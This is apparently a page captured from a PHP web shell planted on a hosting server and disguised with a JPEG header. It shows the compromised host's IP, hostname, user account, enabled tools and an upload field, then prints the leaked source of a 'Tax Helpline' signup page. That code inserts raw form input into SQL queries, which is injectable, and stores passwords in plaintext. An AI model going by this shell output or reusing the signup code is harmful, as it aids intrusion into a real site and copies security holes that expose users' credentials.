ÿØÿà JPEG ÿþ;
Server IP : 68.65.120.201 / Your IP : 216.73.216.73 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/public_html/ |
Upload File : |
<?php include "admin/db.php"; if(isset($_POST['signup'])) { $Fname=$_POST['Fname']; $Desig= $_POST['Desig']; $Pnumb=$_POST['Pnumb']; $Email=$_POST['Email']; $Passw=$_POST['Passw']; $ConPass=$_POST['ConPass']; $date=$_POST['date']; $Uquery = "SELECT * FROM `signup` WHERE `Email_Address` = '$Email'"; $Data = mysqli_query($con,$Uquery); $count = mysqli_num_rows($Data); if($count==1) {echo "<script> alert('Sorry! This Email Address is Already Registered'); window.location.href='login'; </script>"; } else { $Uquery= "INSERT INTO `signup`(`Full_Name`, `Designation`, `Phone_Number`, `Email_Address`, `Password`, `Confirm_Password`, `Date`) VALUES ('$Fname','$Desig','$Pnumb','$Email','$Passw','$ConPass','$date')"; $Data = mysqli_query($con,$Uquery); if ($Data == 'true' ) { echo "<script> alert('Your account has been successfully registered'); window.location.href='login.php'; </script>"; } else { echo "<script> alert('Registraion Failed'); window.location.href='signup.php'; </script>"; } } } ?> <!doctype html> <html lang="en"> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link href="https://fonts.googleapis.com/css?family=Roboto:300,400&display=swap" rel="stylesheet"> <link rel="stylesheet" href="fonts/icomoon/style.css"> <link rel="stylesheet" href="cssss/owl.carousel.min.css"> <!-- Bootstrap CSS --> <link rel="stylesheet" href="cssss/bootstrap.min.css"> <!-- Style --> <link rel="stylesheet" href="cssss/style.css"> <style> .half a { color: #0d97ad; text-decoration: none; } .btn-primary { color: #17a2b8; background-color: #e9eff1; border-color: #2092a7; font-size: 17px; font-weight: 600; font-family: sans-serif; } .half .contents .form-group.last, .half .bg .form-group.last { border-bottom: 1px solid #c1c1c1; border-bottom-left-radius: 7px; border-bottom-right-radius: 7px; } .btn-primary:hover { color: #fff !important; background-color: #00899f; border-color: #797a7a; } .half .contents .form-control, .half .bg .form-control { border: none; padding: 0; font-size: 1.30rem; font-weight: 500; border-radius: 0; font-family: math; color: black; } .half .contents .form-group, .half .bg .form-group { margin-bottom: 7px; border: 1px solid #c1c1c1; padding: 10px 15px; border-bottom: 1px solid #c1c1c1; margin-top: 5%; } b, strong { font-weight: bolder; color: #0a92a8; } .control .caption { position: relative; top: .2rem; color: #686868; font-size: 17px; font-weight: 500; } .half .forgot-pass { font-family: math; position: relative; top: 2px; font-size: 1.10rem; font-weight: 500; color: #0190a9; } .control input:checked ~ .control__indicator { background: #17a2b8; } input[type="submit"].btn-block, input[type="reset"].btn-block, input[type="button"].btn-block { width: 100%; font-size: 1.20rem; font-family: math; font-weight: 700; color: black; } h3, .h3 { font-family: math; font-weight: 600; } h3, .h3 { font-size: 1.70rem; } h5, .h5 { font-family: math; font-weight: 400; } h5, .h5 { font-size: 1.30rem; } input[type="radio"], input[type="checkbox"] { width: 25px;} </style> <title>User Sign Up</title> </head> <body> <div class="d-lg-flex half"> <div class="bg order-1 order-md-2" style="background-image: url('images/as.png');"></div> <div class="contents order-2 order-md-1"> <div class="container"> <div class="row align-items-center justify-content-center"> <div class="col-md-7"> <center><h3>Sign Up to <a href="index"><strong>Tax Helpline</strong></a></h3></center> <p class="mb-4"></p> <form action="#" method="post"> <div class="form-group first"> <!-- <label for="username">Full Name/label> --> <input type="text" name="Fname" class="form-control" placeholder="Enter Your Full Name" required> </div> <div class="form-group last mb-3"> <!-- <label for="password">Designation</label> --> <input type="text" name="Desig" class="form-control" placeholder="Enter Your Designation" required> </div> <div class="form-group last mb-3"> <!-- <label for="password">Phone Number</label> --> <input type="text" name="Pnumb" class="form-control" placeholder="Enter Your Phone Number" required> </div> <div class="form-group last mb-3"> <!-- <label for="password">Email Address</label> --> <input type="email" name="Email" class="form-control" placeholder="Enter Your Email Address" required> </div> <div class="form-group last mb-3"> <!-- <label for="password">Password</label> --> <input type="password" name="Passw" class="form-control" placeholder="Enter Your Password" required> </div> <div class="form-group last mb-3"> <!-- <label for="password">Confirm Password</label> --> <input type="password" name="ConPass" class="form-control" placeholder="Confirm Your Password" required> </div> <!-- <label for="password">Confirm Password</label> --> <?php echo "<input type='hidden' name='date' value='" . date('d-m-Y') . "' required/>"; ?> <input type="submit" name="signup" value="Create an Account" class="btn btn-block btn-primary"> <div style="margin-top:10%;"><center><h5>I have already member! <strong><a href="login">Log In</a></strong></h5></center></div> </form> </div> </div> </div> </div> </div> <script src="jsss/jquery-3.3.1.min.js"></script> <script src="jsss/popper.min.js"></script> <script src="jsss/bootstrap.min.js"></script> <script src="jsss/main.js"></script> </body> </html>